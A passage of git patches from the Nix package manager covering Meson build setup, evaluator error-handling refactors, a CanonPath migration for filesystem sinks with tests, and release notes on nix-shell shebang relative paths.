subdirectories aren't separate components, +# just source files in another directory, so we process them here. + +build_remote_sources = files( + 'build-remote/build-remote.cc', +) +nix_build_sources = files( + 'nix-build/nix-build.cc', +) +nix_channel_sources = files( + 'nix-channel/nix-channel.cc', +) +unpack_channel_gen = gen_header.process('nix-channel/unpack-channel.nix') +nix_collect_garbage_sources = files( + 'nix-collect-garbage/nix-collect-garbage.cc', +) +nix_copy_closure_sources = files( + 'nix-copy-closure/nix-copy-closure.cc', +) +nix_env_buildenv_gen = gen_header.process('nix-env/buildenv.nix') +nix_env_sources = files( + 'nix-env/nix-env.cc', + 'nix-env/user-env.cc', +) +nix_instantiate_sources = files( + 'nix-instantiate/nix-instantiate.cc', +) +nix_store_sources = files( + 'nix-store/dotgraph.cc', + 'nix-store/graphml.cc', + 'nix-store/nix-store.cc', +) + +# Hurray for Meson list flattening! +sources = [ + nix_sources, + build_remote_sources, + nix_build_sources, + nix_channel_sources, + unpack_channel_gen, + nix_collect_garbage_sources, + nix_copy_closure_sources, + nix_env_buildenv_gen, + nix_env_sources, + nix_instantiate_sources, + nix_store_sources, +] + +include_dirs = [include_directories('.')] + +this_exe = executable( + meson.project_name(), + sources, + dependencies : deps_private_subproject + deps_private + deps_other, + include_directories : include_dirs, + link_args: linker_export_flags, + install : true, +) diff --git a/src/nix/nix-build b/src/nix/nix-build new file mode 120000 index 000000000..2954d8ac7 --- /dev/null +++ b/src/nix/nix-build @@ -0,0 +1 @@ +../nix-build \ No newline at end of file diff --git a/src/nix/nix-channel b/src/nix/nix-channel new file mode 120000 index 000000000..29b759473 --- /dev/null +++ b/src/nix/nix-channel @@ -0,0 +1 @@ +../nix-channel \ No newline at end of file diff --git a/src/nix/nix-collect-garbage b/src/nix/nix-collect-garbage new file mode 120000 index 000000000..b037fc1b0 --- /dev/null +++ b/src/nix/nix-collect-garbage @@ -0,0 +1 @@ +../nix-collect-garbage \ No newline at end of file diff --git a/src/nix/nix-copy-closure b/src/nix/nix-copy-closure new file mode 120000 index 000000000..9063c583a --- /dev/null +++ b/src/nix/nix-copy-closure @@ -0,0 +1 @@ +../nix-copy-closure \ No newline at end of file diff --git a/src/nix/nix-env b/src/nix/nix-env new file mode 120000 index 000000000..f2f19f580 --- /dev/null +++ b/src/nix/nix-env @@ -0,0 +1 @@ +../nix-env \ No newline at end of file diff --git a/src/nix/nix-instantiate b/src/nix/nix-instantiate new file mode 120000 index 000000000..2d7502ffa --- /dev/null +++ b/src/nix/nix-instantiate @@ -0,0 +1 @@ +../nix-instantiate \ No newline at end of file diff --git a/src/nix/nix-store b/src/nix/nix-store new file mode 120000 index 000000000..e6efcac42 --- /dev/null +++ b/src/nix/nix-store @@ -0,0 +1 @@ +../nix-store/ \ No newline at end of file diff --git a/src/nix/package.nix b/src/nix/package.nix new file mode 100644 index 000000000..fe83c6969 --- /dev/null +++ b/src/nix/package.nix @@ -0,0 +1,129 @@ +{ lib +, stdenv +, mkMesonDerivation +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-store +, nix-expr +, nix-main +, nix-cmd + +, rapidcheck +, gtest +, runCommand + +# Configuration Options + +, version +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix"; + inherit version; + + workDir = ./.; + fileset = fileset.unions ([ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + # ./meson.options + + # Symbolic links to other dirs + ./build-remote + ./doc + ./nix-build + ./nix-channel + ./nix-collect-garbage + ./nix-copy-closure + ./nix-env + ./nix-instantiate + ./nix-store + + # Doc nix files for --help + ../../doc/manual/generate-manpage.nix + ../../doc/manual/utils.nix + ../../doc/manual/generate-settings.nix + ../../doc/manual/generate-store-info.nix + + # Other files to be included as string literals + ../nix-channel/unpack-channel.nix + ../nix-env/buildenv.nix + ./get-env.sh + ./help-stores.md + ../../doc/manual/src/store/types/index.md.in + ./profiles.md + ../../doc/manual/src/command-ref/files/profiles.md + + # Files + ] ++ lib.concatMap + (dir: [ + (fileset.fileFilter (file: file.hasExt "cc") dir) + (fileset.fileFilter (file: file.hasExt "hh") dir) + (fileset.fileFilter (file: file.hasExt "md") dir) + ]) + [ + ./. + ../build-remote + ../nix-build + ../nix-channel + ../nix-collect-garbage + ../nix-copy-closure + ../nix-env + ../nix-instantiate + ../nix-store + ] + ); + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + buildInputs = [ + nix-store + nix-expr + nix-main + nix-cmd + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + '' + chmod u+w ./.version + echo ${version} > ../../../.version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + enableParallelBuilding = true; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + strictDeps = true; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +}) diff --git a/src/nix/profile.md b/src/nix/profile.md index 9b2f86f4a..83a0b5f29 100644 --- a/src/nix/profile.md +++ b/src/nix/profile.md @@ -11,7 +11,7 @@ them to be rolled back easily. )"" -#include "generated-doc/files/profiles.md.gen.hh" +#include "profiles.md.gen.hh" R""( diff --git a/src/nix/profiles.md b/src/nix/profiles.md new file mode 120000 index 000000000..c67a86194 --- /dev/null +++ b/src/nix/profiles.md @@ -0,0 +1 @@ +../../doc/manual/src/command-ref/files/profiles.md \ No newline at end of file From 4c788504fa8a3153e79d5080cf23fdc5204035bc Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 9 Jul 2024 16:44:01 +0200 Subject: [PATCH 1030/1251] Remove reference to check-hydra-status --- maintainers/flake-module.nix | 1 - 1 file changed, 1 deletion(-) diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index 8f95e788b..46b3e1363 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -499,7 +499,6 @@ ''^misc/bash/completion\.sh$'' ''^misc/fish/completion\.fish$'' ''^misc/zsh/completion\.zsh$'' - ''^scripts/check-hydra-status\.sh$'' ''^scripts/create-darwin-volume\.sh$'' ''^scripts/install-darwin-multi-user\.sh$'' ''^scripts/install-multi-user\.sh$'' From 13522229a9efc83b4a3d90c66445355c6bc7c815 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 10 Jul 2024 16:08:10 +0200 Subject: [PATCH 1031/1251] assertEqValues: clarify potential bug error message --- src/libexpr/eval.cc | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index fb6050e50..6f1a7d618 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -2636,8 +2636,11 @@ void EvalState::assertEqValues(Value & v1, Value & v2, const PosIdx pos, std::st // error for this, and this function should only be called when // eqValues has found a difference, and it should match // its behavior. + // Note that as of writing, we make the compiler require that all enum + // values are handled explicitly with `case`s, _despite_ having a + // `default:`. error( - "cannot compare %1% with %2%; is assertEqValues out of sync with eqValues?", showType(v1), showType(v2)) + "BUG: cannot compare %1% with %2%; did forceValue leave a thunk, or might assertEqValues be out of sync with eqValues?", showType(v1), showType(v2)) .debugThrow(); } } From c4e3e2dc27da93cae22cd35a11ee1ef87e23eb57 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 10 Jul 2024 16:24:31 +0200 Subject: [PATCH 1032/1251] Soft-deprecate the compatibility settings --- src/libcmd/compatibility-settings.hh | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/src/libcmd/compatibility-settings.hh b/src/libcmd/compatibility-settings.hh index 961001080..0506743f3 100644 --- a/src/libcmd/compatibility-settings.hh +++ b/src/libcmd/compatibility-settings.hh @@ -7,14 +7,18 @@ struct CompatibilitySettings : public Config CompatibilitySettings() = default; + // Added in Nix 2.24, July 2024. Setting nixShellAlwaysLooksForShellNix{this, true, "nix-shell-always-looks-for-shell-nix", R"( Before Nix 2.24, [`nix-shell`](@docroot@/command-ref/nix-shell.md) would only look at `shell.nix` if it was in the working directory - when no file was specified. Since Nix 2.24, `nix-shell` always looks for a `shell.nix`, whether that's in the working directory, or in a directory that was passed as an argument. You may set this to `false` to revert to the Nix 2.3 behavior. + + This setting is not recommended, and will be deprecated and later removed in the future. )"}; + // Added in Nix 2.24, July 2024. Setting nixShellShebangArgumentsRelativeToScript{ this, true, "nix-shell-shebang-arguments-relative-to-script", R"( Before Nix 2.24, the arguments in a `nix-shell` shebang - as well as `--arg` - were relative to working directory. @@ -22,6 +26,8 @@ struct CompatibilitySettings : public Config Since Nix 2.24, the arguments are relative to the [base directory](@docroot@/glossary.md#gloss-base-directory) defined as the script's directory. You may set this to `false` to revert to the Nix 2.3 behavior. + + This setting is not recommended, and will be deprecated and later removed in the future. )"}; }; From 61577402ba331451a10051b11cf77bdc80f83fa8 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 11 Jul 2024 11:35:58 +0200 Subject: [PATCH 1033/1251] Add EvalErrorBuilder::panic() An nicer alternative to printError + abort, or assert(false /* foo */) --- src/libexpr/eval-error.cc | 8 ++++++++ src/libexpr/eval-error.hh | 6 ++++++ 2 files changed, 14 insertions(+) diff --git a/src/libexpr/eval-error.cc b/src/libexpr/eval-error.cc index bd84e0428..cdb0b4772 100644 --- a/src/libexpr/eval-error.cc +++ b/src/libexpr/eval-error.cc @@ -92,6 +92,14 @@ void EvalErrorBuilder::debugThrow() throw error; } +template +void EvalErrorBuilder::panic() +{ + logError(error.info()); + printError("This is a bug! An unexpected condition occurred, causing the Nix evaluator to have to stop. If you could share a reproducible example or a core dump, please open an issue at https://github.com/NixOS/nix/issues"); + abort(); +} + template class EvalErrorBuilder; template class EvalErrorBuilder; template class EvalErrorBuilder; diff --git a/src/libexpr/eval-error.hh b/src/libexpr/eval-error.hh index fe48e054b..6409dc68a 100644 --- a/src/libexpr/eval-error.hh +++ b/src/libexpr/eval-error.hh @@ -112,6 +112,12 @@ public: * Delete the `EvalErrorBuilder` and throw the underlying exception. */ [[gnu::noinline, gnu::noreturn]] void debugThrow(); + + /** + * A programming error or fatal condition occurred. Abort the process for core dump and debugging. + * This does not print a proper backtrace, because unwinding the stack is destructive. + */ + [[gnu::noinline, gnu::noreturn]] void panic(); }; } From 4fd8f19ecfd8ced21c0f43bb3f3e3567d1d38bcd Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 11 Jul 2024 12:14:48 +0200 Subject: [PATCH 1034/1251] Fix build to use CanonPath in new FSO sinks --- src/libfetchers/git-utils.cc | 7 +++-- src/libutil/fs-sink.hh | 2 +- src/libutil/tarfile.cc | 2 +- tests/unit/libfetchers/git-utils.cc | 26 ++++++++++--------- .../tests/tracing-file-system-object-sink.cc | 9 ++++--- .../tests/tracing-file-system-object-sink.hh | 8 +++--- 6 files changed, 30 insertions(+), 24 deletions(-) diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc index a88bdc8b6..ecc71ae47 100644 --- a/src/libfetchers/git-utils.cc +++ b/src/libfetchers/git-utils.cc @@ -909,9 +909,12 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink addToTree(*pathComponents.rbegin(), oid, GIT_FILEMODE_LINK); } - void createHardlink(const Path & path, const CanonPath & target) override + void createHardlink(const CanonPath & path, const CanonPath & target) override { - auto pathComponents = tokenizeString>(path, "/"); + std::vector pathComponents; + for (auto & c : path) + pathComponents.emplace_back(c); + if (!prepareDirs(pathComponents, false)) return; // We can't just look up the path from the start of the root, since diff --git a/src/libutil/fs-sink.hh b/src/libutil/fs-sink.hh index e5e240073..774c0d942 100644 --- a/src/libutil/fs-sink.hh +++ b/src/libutil/fs-sink.hh @@ -51,7 +51,7 @@ struct ExtendedFileSystemObjectSink : virtual FileSystemObjectSink * Create a hard link. The target must be the path of a previously * encountered file relative to the root of the FSO. */ - virtual void createHardlink(const Path & path, const CanonPath & target) = 0; + virtual void createHardlink(const CanonPath & path, const CanonPath & target) = 0; }; /** diff --git a/src/libutil/tarfile.cc b/src/libutil/tarfile.cc index f3b2f55b5..2e3236295 100644 --- a/src/libutil/tarfile.cc +++ b/src/libutil/tarfile.cc @@ -196,7 +196,7 @@ time_t unpackTarfileToSink(TarArchive & archive, ExtendedFileSystemObjectSink & lastModified = std::max(lastModified, archive_entry_mtime(entry)); if (auto target = archive_entry_hardlink(entry)) { - parseSink.createHardlink(path, CanonPath(target)); + parseSink.createHardlink(cpath, CanonPath(target)); continue; } diff --git a/tests/unit/libfetchers/git-utils.cc b/tests/unit/libfetchers/git-utils.cc index 3c06b593a..d3547ec6a 100644 --- a/tests/unit/libfetchers/git-utils.cc +++ b/tests/unit/libfetchers/git-utils.cc @@ -62,17 +62,18 @@ TEST_F(GitUtilsTest, sink_basic) // general, and I can't imagine that "non-conventional" archives or any other source to be handled by // this sink. - sink->createDirectory("foo-1.1"); + sink->createDirectory(CanonPath("foo-1.1")); - sink->createRegularFile( - "foo-1.1/hello", [](CreateRegularFileSink & fileSink) { writeString(fileSink, "hello world", false); }); - sink->createRegularFile("foo-1.1/bye", [](CreateRegularFileSink & fileSink) { + sink->createRegularFile(CanonPath("foo-1.1/hello"), [](CreateRegularFileSink & fileSink) { + writeString(fileSink, "hello world", false); + }); + sink->createRegularFile(CanonPath("foo-1.1/bye"), [](CreateRegularFileSink & fileSink) { writeString(fileSink, "thanks for all the fish", false); }); - sink->createSymlink("foo-1.1/bye-link", "bye"); - sink->createDirectory("foo-1.1/empty"); - sink->createDirectory("foo-1.1/links"); - sink->createHardlink("foo-1.1/links/foo", CanonPath("foo-1.1/hello")); + sink->createSymlink(CanonPath("foo-1.1/bye-link"), "bye"); + sink->createDirectory(CanonPath("foo-1.1/empty")); + sink->createDirectory(CanonPath("foo-1.1/links")); + sink->createHardlink(CanonPath("foo-1.1/links/foo"), CanonPath("foo-1.1/hello")); // sink->createHardlink("foo-1.1/links/foo-2", CanonPath("foo-1.1/hello")); @@ -92,13 +93,14 @@ TEST_F(GitUtilsTest, sink_hardlink) auto repo = openRepo(); auto sink = repo->getFileSystemObjectSink(); - sink->createDirectory("foo-1.1"); + sink->createDirectory(CanonPath("foo-1.1")); - sink->createRegularFile( - "foo-1.1/hello", [](CreateRegularFileSink & fileSink) { writeString(fileSink, "hello world", false); }); + sink->createRegularFile(CanonPath("foo-1.1/hello"), [](CreateRegularFileSink & fileSink) { + writeString(fileSink, "hello world", false); + }); try { - sink->createHardlink("foo-1.1/link", CanonPath("hello")); + sink->createHardlink(CanonPath("foo-1.1/link"), CanonPath("hello")); FAIL() << "Expected an exception"; } catch (const nix::Error & e) { ASSERT_THAT(e.msg(), testing::HasSubstr("invalid hard link target")); diff --git a/tests/unit/libutil-support/tests/tracing-file-system-object-sink.cc b/tests/unit/libutil-support/tests/tracing-file-system-object-sink.cc index 737e02213..122a09dcb 100644 --- a/tests/unit/libutil-support/tests/tracing-file-system-object-sink.cc +++ b/tests/unit/libutil-support/tests/tracing-file-system-object-sink.cc @@ -3,13 +3,14 @@ namespace nix::test { -void TracingFileSystemObjectSink::createDirectory(const Path & path) +void TracingFileSystemObjectSink::createDirectory(const CanonPath & path) { std::cerr << "createDirectory(" << path << ")\n"; sink.createDirectory(path); } -void TracingFileSystemObjectSink::createRegularFile(const Path & path, std::function fn) +void TracingFileSystemObjectSink::createRegularFile( + const CanonPath & path, std::function fn) { std::cerr << "createRegularFile(" << path << ")\n"; sink.createRegularFile(path, [&](CreateRegularFileSink & crf) { @@ -18,13 +19,13 @@ void TracingFileSystemObjectSink::createRegularFile(const Path & path, std::func }); } -void TracingFileSystemObjectSink::createSymlink(const Path & path, const std::string & target) +void TracingFileSystemObjectSink::createSymlink(const CanonPath & path, const std::string & target) { std::cerr << "createSymlink(" << path << ", target: " << target << ")\n"; sink.createSymlink(path, target); } -void TracingExtendedFileSystemObjectSink::createHardlink(const Path & path, const CanonPath & target) +void TracingExtendedFileSystemObjectSink::createHardlink(const CanonPath & path, const CanonPath & target) { std::cerr << "createHardlink(" << path << ", target: " << target << ")\n"; sink.createHardlink(path, target); diff --git a/tests/unit/libutil-support/tests/tracing-file-system-object-sink.hh b/tests/unit/libutil-support/tests/tracing-file-system-object-sink.hh index 9527b0be3..895ac3664 100644 --- a/tests/unit/libutil-support/tests/tracing-file-system-object-sink.hh +++ b/tests/unit/libutil-support/tests/tracing-file-system-object-sink.hh @@ -15,11 +15,11 @@ public: { } - void createDirectory(const Path & path) override; + void createDirectory(const CanonPath & path) override; - void createRegularFile(const Path & path, std::function fn); + void createRegularFile(const CanonPath & path, std::function fn) override; - void createSymlink(const Path & path, const std::string & target); + void createSymlink(const CanonPath & path, const std::string & target) override; }; /** @@ -35,7 +35,7 @@ public: { } - void createHardlink(const Path & path, const CanonPath & target); + void createHardlink(const CanonPath & path, const CanonPath & target) override; }; } From 56bf39e9056ae7a15ec9c0347fd0043782e2b8cd Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 11 Jul 2024 11:37:45 +0200 Subject: [PATCH 1035/1251] eqValues/assertEqValues: Clean up assertions It's still paranoid, and probably a waste of words, but at least now it's consistent and readily identifyable from a log. --- src/libexpr/eval.cc | 22 +++++++++------------- 1 file changed, 9 insertions(+), 13 deletions(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 6f1a7d618..31d0c635a 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -2631,17 +2631,12 @@ void EvalState::assertEqValues(Value & v1, Value & v2, const PosIdx pos, std::st return; case nThunk: // Must not be left by forceValue - default: - // This should never happen, because eqValues already throws an - // error for this, and this function should only be called when - // eqValues has found a difference, and it should match - // its behavior. - // Note that as of writing, we make the compiler require that all enum - // values are handled explicitly with `case`s, _despite_ having a - // `default:`. - error( - "BUG: cannot compare %1% with %2%; did forceValue leave a thunk, or might assertEqValues be out of sync with eqValues?", showType(v1), showType(v2)) - .debugThrow(); + assert(false); + default: // Note that we pass compiler flags that should make `default:` unreachable. + // Also note that this probably ran after `eqValues`, which implements + // the same logic more efficiently (without having to unwind stacks), + // so maybe `assertEqValues` and `eqValues` are out of sync. Check it for solutions. + error("assertEqValues: cannot compare %1% with %2%", showType(v1), showType(v2)).withTrace(pos, errorCtx).panic(); } } @@ -2723,8 +2718,9 @@ bool EvalState::eqValues(Value & v1, Value & v2, const PosIdx pos, std::string_v return v1.fpoint() == v2.fpoint(); case nThunk: // Must not be left by forceValue - default: - error("cannot compare %1% with %2%", showType(v1), showType(v2)).withTrace(pos, errorCtx).debugThrow(); + assert(false); + default: // Note that we pass compiler flags that should make `default:` unreachable. + error("eqValues: cannot compare %1% with %2%", showType(v1), showType(v2)).withTrace(pos, errorCtx).panic(); } } From 6f5f741157ff14e8a67608be9bee2bfc8d5778a8 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 11 Jul 2024 13:51:03 +0200 Subject: [PATCH 1036/1251] doc/rl-next/shebang-relative: Update with example --- doc/manual/rl-next/shebang-relative.md | 64 +++++++++++++++++++++++--- 1 file changed, 58 insertions(+), 6 deletions(-) diff --git a/doc/manual/rl-next/shebang-relative.md b/doc/manual/rl-next/shebang-relative.md index ab39a359c..c887a598a 100644 --- a/doc/manual/rl-next/shebang-relative.md +++ b/doc/manual/rl-next/shebang-relative.md @@ -1,10 +1,62 @@ -synopsis: ensure nix-shell shebang uses relative path -prs: #5088 -description: { +--- +synopsis: "`nix-shell` shebang uses relative path" +prs: +- 5088 +- 11058 +issues: +- 4232 +--- -`nix-shell` shebangs use the script file's relative location to resolve relative paths to files passed as command line arguments, but expression arguments were still evaluated using the current working directory as a base path. -The new behavior is that evaluations are performed relative to the script. + +Relative [path](@docroot@/language/values.md#type-path) literals in `nix-shell` shebang scripts' options are now resolved relative to the [script's location](@docroot@/glossary?highlight=base%20directory#gloss-base-directory). +Previously they were resolved relative to the current working directory. +For example, consider the following script in `~/myproject/say-hi`: + +```shell +#!/usr/bin/env nix-shell +#!nix-shell --expr 'import ./shell.nix' +#!nix-shell --arg toolset './greeting-tools.nix' +#!nix-shell -i bash +hello +``` + +Older versions of `nix-shell` would resolve `shell.nix` relative to the current working directory; home in this example: + +```console +[hostname:~]$ ./myproject/say-hi +error: + … while calling the 'import' builtin + at «string»:1:2: + 1| (import ./shell.nix) + | ^ + + error: path '/home/user/shell.nix' does not exist +``` + +Since this release, `nix-shell` resolves `shell.nix` relative to the script's location, and `~/myproject/shell.nix` is used. + +```console +$ ./myproject/say-hi +Hello, world! +``` + +**Opt-out** + +This is technically a breaking change, so we have added an option so you can adapt independently of your Nix update. The old behavior can be opted into by setting the option [`nix-shell-shebang-arguments-relative-to-script`](@docroot@/command-ref/conf-file.md#conf-nix-shell-shebang-arguments-relative-to-script) to `false`. +This option will be removed in a future release. -} +**`nix` command shebang** + +The experimental [`nix` command shebang](@docroot@/command-ref/new-cli/nix.md?highlight=shebang#shebang-interpreter) already behaves in this script-relative manner. + +Example: + +```shell +#!/usr/bin/env nix +#!nix develop +#!nix --expr ``import ./shell.nix`` +#!nix -c bash +hello +``` From bb312a717451fc88f1220e1ce56700eaaf15e3de Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 11 Jul 2024 13:53:03 +0200 Subject: [PATCH 1037/1251] Edit CompatibilitySettings --- src/libcmd/compatibility-settings.hh | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/src/libcmd/compatibility-settings.hh b/src/libcmd/compatibility-settings.hh index 0506743f3..a129a957a 100644 --- a/src/libcmd/compatibility-settings.hh +++ b/src/libcmd/compatibility-settings.hh @@ -13,21 +13,23 @@ struct CompatibilitySettings : public Config Since Nix 2.24, `nix-shell` always looks for a `shell.nix`, whether that's in the working directory, or in a directory that was passed as an argument. - You may set this to `false` to revert to the Nix 2.3 behavior. + You may set this to `false` to temporarily revert to the behavior of Nix 2.23 and older. - This setting is not recommended, and will be deprecated and later removed in the future. + Using this setting is not recommended. + It will be deprecated and removed. )"}; // Added in Nix 2.24, July 2024. Setting nixShellShebangArgumentsRelativeToScript{ this, true, "nix-shell-shebang-arguments-relative-to-script", R"( - Before Nix 2.24, the arguments in a `nix-shell` shebang - as well as `--arg` - were relative to working directory. + Before Nix 2.24, relative file path expressions in arguments in a `nix-shell` shebang were resolved relative to the working directory. - Since Nix 2.24, the arguments are relative to the [base directory](@docroot@/glossary.md#gloss-base-directory) defined as the script's directory. + Since Nix 2.24, `nix-shell` resolves these paths in a manner that is relative to the [base directory](@docroot@/glossary.md#gloss-base-directory), defined as the script's directory. - You may set this to `false` to revert to the Nix 2.3 behavior. + You may set this to `false` to temporarily revert to the behavior of Nix 2.23 and older. - This setting is not recommended, and will be deprecated and later removed in the future. + Using this setting is not recommended. + It will be deprecated and removed. )"}; }; From 0395ff9bd39fb966b69abc76ae9e1f0f2dd1c7ca Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 11 Jul 2024 15:01:38 +0200 Subject: [PATCH 1038/1251] packaging: Set darwinMinVersion to fix x86_64-darwin build Ported from https://github.com/NixOS/nixpkgs/pull/326172 Co-authored-by: Emily --- packaging/dependencies.nix | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/packaging/dependencies.nix b/packaging/dependencies.nix index 34b344971..73ba9cd58 100644 --- a/packaging/dependencies.nix +++ b/packaging/dependencies.nix @@ -11,11 +11,28 @@ versionSuffix, }: +let + prevStdenv = stdenv; +in + let inherit (pkgs) lib; root = ../.; + stdenv = if prevStdenv.isDarwin && prevStdenv.isx86_64 + then darwinStdenv + else prevStdenv; + + # Fix the following error with the default x86_64-darwin SDK: + # + # error: aligned allocation function of type 'void *(std::size_t, std::align_val_t)' is only available on macOS 10.13 or newer + # + # Despite the use of the 10.13 deployment target here, the aligned + # allocation function Clang uses with this setting actually works + # all the way back to 10.6. + darwinStdenv = pkgs.overrideSDK prevStdenv { darwinMinVersion = "10.13"; }; + # Nixpkgs implements this by returning a subpath into the fetched Nix sources. resolvePath = p: p; From 87323a5689f4789d9fc25271a16ba57c57f76392 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Thu, 11 Jul 2024 16:21:27 +0200 Subject: [PATCH 1039/1251] Remove unused InstallableFlake::getFlakeOutputs() --- src/libcmd/installable-flake.cc | 14 -------------- src/libcmd/installable-flake.hh | 2 -- 2 files changed, 16 deletions(-) diff --git a/src/libcmd/installable-flake.cc b/src/libcmd/installable-flake.cc index d42fa7aac..899919550 100644 --- a/src/libcmd/installable-flake.cc +++ b/src/libcmd/installable-flake.cc @@ -43,20 +43,6 @@ std::vector InstallableFlake::getActualAttrPaths() return res; } -Value * InstallableFlake::getFlakeOutputs(EvalState & state, const flake::LockedFlake & lockedFlake) -{ - auto vFlake = state.allocValue(); - - callFlake(state, lockedFlake, *vFlake); - - auto aOutputs = vFlake->attrs()->get(state.symbols.create("outputs")); - assert(aOutputs); - - state.forceValue(*aOutputs->value, aOutputs->value->determinePos(noPos)); - - return aOutputs->value; -} - static std::string showAttrPaths(const std::vector & paths) { std::string s; diff --git a/src/libcmd/installable-flake.hh b/src/libcmd/installable-flake.hh index 314918c14..30240a35a 100644 --- a/src/libcmd/installable-flake.hh +++ b/src/libcmd/installable-flake.hh @@ -52,8 +52,6 @@ struct InstallableFlake : InstallableValue std::vector getActualAttrPaths(); - Value * getFlakeOutputs(EvalState & state, const flake::LockedFlake & lockedFlake); - DerivedPathsWithInfo toDerivedPaths() override; std::pair toValue(EvalState & state) override; From 61080554ab03201b2c70c127f6d97dcfd76d6058 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Thu, 6 Jun 2024 16:33:41 +0200 Subject: [PATCH 1040/1251] SymbolStr: Remove std::string conversion This refactoring allows the symbol table to be stored as something other than std::strings. --- src/libcmd/installables.cc | 4 ++-- src/libexpr-c/nix_api_value.cc | 4 ++-- src/libexpr/attr-path.cc | 2 +- src/libexpr/eval-cache.cc | 2 +- src/libexpr/eval.cc | 8 ++++---- src/libexpr/get-drvs.cc | 4 ++-- src/libexpr/primops.cc | 4 ++-- src/libexpr/symbol-table.hh | 4 ++-- src/libexpr/value-to-json.cc | 2 +- src/libexpr/value-to-xml.cc | 2 +- src/libflake/flake/flake.cc | 6 +++--- src/libutil/suggestions.cc | 4 ++-- src/libutil/suggestions.hh | 4 ++-- src/nix/flake.cc | 22 +++++++++++----------- src/nix/main.cc | 2 +- 15 files changed, 37 insertions(+), 37 deletions(-) diff --git a/src/libcmd/installables.cc b/src/libcmd/installables.cc index 6835c512c..0c9e69fe8 100644 --- a/src/libcmd/installables.cc +++ b/src/libcmd/installables.cc @@ -289,10 +289,10 @@ void SourceExprCommand::completeInstallable(AddCompletions & completions, std::s if (v2.type() == nAttrs) { for (auto & i : *v2.attrs()) { - std::string name = state->symbols[i.name]; + std::string_view name = state->symbols[i.name]; if (name.find(searchWord) == 0) { if (prefix_ == "") - completions.add(name); + completions.add(std::string(name)); else completions.add(prefix_ + "." + name); } diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc index 2f2f99617..cb5d9ee89 100644 --- a/src/libexpr-c/nix_api_value.cc +++ b/src/libexpr-c/nix_api_value.cc @@ -383,7 +383,7 @@ nix_value * nix_get_attr_byidx( try { auto & v = check_value_in(value); const nix::Attr & a = (*v.attrs())[i]; - *name = ((const std::string &) (state->state.symbols[a.name])).c_str(); + *name = state->state.symbols[a.name].c_str(); nix_gc_incref(nullptr, a.value); state->state.forceValue(*a.value, nix::noPos); return as_nix_value_ptr(a.value); @@ -399,7 +399,7 @@ nix_get_attr_name_byidx(nix_c_context * context, const nix_value * value, EvalSt try { auto & v = check_value_in(value); const nix::Attr & a = (*v.attrs())[i]; - return ((const std::string &) (state->state.symbols[a.name])).c_str(); + return state->state.symbols[a.name].c_str(); } NIXC_CATCH_ERRS_NULL } diff --git a/src/libexpr/attr-path.cc b/src/libexpr/attr-path.cc index 9ad201b63..d61d93630 100644 --- a/src/libexpr/attr-path.cc +++ b/src/libexpr/attr-path.cc @@ -76,7 +76,7 @@ std::pair findAlongAttrPath(EvalState & state, const std::strin if (!a) { std::set attrNames; for (auto & attr : *v->attrs()) - attrNames.insert(state.symbols[attr.name]); + attrNames.insert(std::string(state.symbols[attr.name])); auto suggestions = Suggestions::bestMatches(attrNames, attr); throw AttrPathNotFound(suggestions, "attribute '%1%' in selection path '%2%' not found", attr, attrPath); diff --git a/src/libexpr/eval-cache.cc b/src/libexpr/eval-cache.cc index 2630c34d5..46dd3691c 100644 --- a/src/libexpr/eval-cache.cc +++ b/src/libexpr/eval-cache.cc @@ -484,7 +484,7 @@ Suggestions AttrCursor::getSuggestionsForAttr(Symbol name) auto attrNames = getAttrs(); std::set strAttrNames; for (auto & name : attrNames) - strAttrNames.insert(root->state.symbols[name]); + strAttrNames.insert(std::string(root->state.symbols[name])); return Suggestions::bestMatches(strAttrNames, root->state.symbols[name]); } diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 2a0862123..efca9dd2f 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -633,11 +633,11 @@ void mapStaticEnvBindings(const SymbolTable & st, const StaticEnv & se, const En if (se.isWith && !env.values[0]->isThunk()) { // add 'with' bindings. for (auto & j : *env.values[0]->attrs()) - vm[st[j.name]] = j.value; + vm.insert_or_assign(std::string(st[j.name]), j.value); } else { // iterate through staticenv bindings and add them. for (auto & i : se.vars) - vm[st[i.first]] = env.values[i.second]; + 